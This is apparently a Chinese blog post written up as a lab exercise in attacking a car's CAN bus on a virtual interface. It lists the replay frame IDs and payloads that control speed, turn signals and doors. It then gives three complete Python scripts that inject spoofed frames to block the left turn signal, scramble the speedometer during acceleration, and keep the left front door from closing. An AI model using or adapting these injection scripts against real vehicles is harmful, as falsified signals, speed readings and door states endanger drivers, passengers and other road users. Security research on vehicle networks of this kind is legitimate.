攻击模拟

重放攻击

加速:26B#00000000XX000    其中XX高位为0,低七位为速度变化大小
减速:26B#00000000XX000    其中XX高位为1,低七位为速度变化大小
左转 478#0000000000010000 
右转 478#0000000000020000 
双闪 478#0000000000030000 
6E9#000000000X    X为控制字段,控制逻辑与之前一致

重放关键单帧

重放转向帧

img

img

img

重放速度控制帧

加速

img

车门控制

img

img

img

img

重放一段时间内的帧

做如下操作,

加速,左转,开左门,右转,开右门,双闪,减速

监听操作

进行重放

img

img

img

img

img

img

Dos攻击

1、左转向灯无法正常亮起、右转向灯可正常控制。

实时监听CAN总线:捕获ID为0x46A的报文。

选择性覆盖:当检测到数据字段包含01(左转)时,立即注入覆盖帧(如46A#0000000000),强制左转向灯状态归零110。

放行右转信号:对包含02的报文不做处理,允许正常传输。

import can
import time

def left_turn_dos_attack():
    bus = can.interface.Bus(channel='vcan0', bustype='socketcan')
    # 目标仲裁ID
    target_id = 0x46A
    
    print("启动左转向灯DoS攻击...")
    print("攻击策略:覆盖所有左转信号(46A#01...),放行右转信号(46A#02...)")
    
    try:
        while True:
            # 监听总线
            msg = bus.recv(timeout=0.01)
            if msg and msg.arbitration_id == target_id:
                # 检测左转信号(数据首字节为0x01)
                if msg.data[0] == 0x01:
                    # 构造覆盖帧:所有字节归零
                    spoof_data = [0x00] * 8
                    spoof_msg = can.Message(
                        arbitration_id=target_id,
                        data=spoof_data,
                        is_extended_id=False
                    )
                    # 立即注入覆盖帧
                    bus.send(spoof_msg)
                    print(f"覆盖左转信号: {msg.data.hex()} -> 00...")
    
    except KeyboardInterrupt:
        print("攻击终止")

if __name__ == "__main__":
    left_turn_dos_attack()

测试攻击效果

测试左转

img

img

测试右转效果

img

img

2、仪表盘失灵,加速时无法正确显示当前速度。

这里的主要思路,就是监听是否为加速状态,如果处于加速状态,就将其速度设为随机值,干扰仪表盘操作

这里有个问题,当处于不操作的状态时,线路上依然会有速度控制的数据帧,这里经过测试发现是1km/h,因此这里的检测机制就很明白了

import can
import time
import random

def speed_display_dos_attack():
    # 配置虚拟CAN接口
    bus = can.interface.Bus(channel='vcan0', bustype='socketcan')
    # 目标仲裁ID
    target_id = 0x26B
    
    print("启动速度显示DoS攻击...")
    print("攻击策略:注入随机速度值覆盖真实车速显示")
    print("按Ctrl+C停止攻击")
    
    try:
        last_speed = 0

        while True:
            # 监听真实速度更新
            msg = bus.recv(timeout=0.001)
            if msg and msg.arbitration_id == target_id and msg.data[4]!=0x01:
                real_speed = msg.data[4]
                # 检测加速状态 (速度增加>5km/h)
                if real_speed > last_speed + 5:
                    # 加速时注入极端值
                    attack_data = [0x00, 0x00, 0x00, 0x00, random.choice([0, 255]), 0x00, 0x00, 0x00]
                else:
                    # 其他情况注入随机值
                    attack_data = [0x00, 0x00, 0x00, 0x00, random.randint(0, 255), 0x00, 0x00, 0x00]
                
                # 创建并发送CAN消息
                msg = can.Message(
                    arbitration_id=target_id,
                    data=attack_data,
                    is_extended_id=False
                )
                bus.send(msg)
                
                last_speed = real_speed
                print(f"当前真实速度: {real_speed} km/h | 注入攻击值: {attack_data[4]} km/h", end='\r')
    
    except KeyboardInterrupt:
        print("\n攻击停止")

if __name__ == "__main__":
    speed_display_dos_attack()

初始不操作状态时,仪表盘也相当稳定

img

这里开始加速

img

img

此时,仪表盘的指针快速跳动,无法显示真实的速度值

3、左前门无法正常关闭,其余车门可正常控制。

这里的思路,就是实时监控车门控制报文

  • 当检测到试图关闭左前门的命令时,立即覆盖该报文
  • 对其他车门控制命令不做干扰

测试

import can
import time
import threading

class SelectiveDoorAttack:
    def __init__(self):
        # CAN接口配置(根据实际情况修改)
        self.bus = can.interface.Bus(channel='vcan0', bustype='socketcan')
        self.target_id = 0x6E9
        self.running = False
        
        # 攻击报文 - 左前门强制打开,其他车门保持当前状态
        self.attack_data = bytes.fromhex("000000000E000000")
        
        # 状态维护报文 - 每秒发送1次
        self.status_data = bytes.fromhex("000000000E000000")
        
        # 当前车门状态缓存
        self.door_state = {
            'left_front': 'open',
            'right_front': 'unknown',
            'left_rear': 'unknown',
            'right_rear': 'unknown'
        }
    
    def parse_door_state(self, data):
        # 提取控制字段(最后1字节的低4位)
        control_byte = data[4] & 0x0F
        
        # 映射到车门状态
        state_map = {
            0x0: {'left_front': 'open', 'right_front': 'open', 'left_rear': 'open', 'right_rear': 'open'},
            0x1: {'left_front': 'closed', 'right_front': 'open', 'left_rear': 'open', 'right_rear': 'open'},
            0xE: {'left_front': 'open', 'right_front': 'closed', 'left_rear': 'closed', 'right_rear': 'closed'},
            0xF: {'left_front': 'closed', 'right_front': 'closed', 'left_rear': 'closed', 'right_rear': 'closed'}
        }
        
        return state_map.get(control_byte, self.door_state)
    
    def is_closing_left_front(self, data):
        control_byte = data[4] & 0x0F
        # 当控制字段表示关闭左前门时(1,3,5,7,9,B,D,F)
        return control_byte & 0b0001 == 1
    
    def generate_counter_frame(self, original_data):
        # 保持原始数据,仅修改左前门状态为打开
        counter_data = bytearray(original_data)
        # 清除左前门关闭位 (bit0),设置左前门打开 (bit1=1, bit0=0)
        counter_data[4] = (counter_data[4] & 0b11110000) | 0b1110
        return bytes(counter_data)
    
    def monitor_and_attack(self):
        print("启动选择性干扰攻击...")
        while self.running:
            msg = self.bus.recv(timeout=0.1)
            if msg and msg.arbitration_id == self.target_id:
                # 更新车门状态缓存
                self.door_state = self.parse_door_state(msg.data)
                
                if self.is_closing_left_front(msg.data):
                    print("检测到左前门关闭命令,发送干扰帧")
                    counter_frame = self.generate_counter_frame(msg.data)
                    
                    attack_msg = can.Message(
                        arbitration_id=self.target_id,
                        data=counter_frame,
                        is_extended_id=False
                    )
                    self.bus.send(attack_msg)
  
    
    def start_attack(self):
        self.running = True
        
        # 启动监听线程
        monitor_thread = threading.Thread(target=self.monitor_and_attack)
        monitor_thread.daemon = True
        monitor_thread.start()
     
        print("攻击已启动,按Ctrl+C停止")
        try:
            while True:
                time.sleep(1)
        except KeyboardInterrupt:
            self.stop_attack()
    
    def stop_attack(self):
        """停止攻击"""
        self.running = False
        print("攻击已停止")

if __name__ == "__main__":
    attack = SelectiveDoorAttack()
    attack.start_attack()

启动脚本

这里尝试关闭左前门

img

发现无法关闭左前门

打开/关闭右前门

img

img

打开/关闭左后门

img

img

打开/关闭右后门

img

img

这里会有一个问题,由于控制车门的帧,表示的是一个状态,所以他不会考虑前一个状态;但是我们对车门的操作是则是一个具体的操作,比如车门开关;这里经过测试,状态是由这个操作盘来记录,初始时刻是车门全关,由操作来改变车门状态,他会事先记录这个状态通过操作是什么状态,然后发送一个相应状态的数据帧。因此这里如果关闭左前门,实际上左前没有关闭,但是操作盘默认左前门已经关闭,因此使用这个方法,可能会使得其他车门的操作也被拦截。

这里如果要解决的话,就是在拦截一次过后,就要对监控的状态进行修改,确保不影响其他车门的操作

posted @ 2025-10-23 21:26  dr4w  阅读(2)  评论(0)    收藏  举报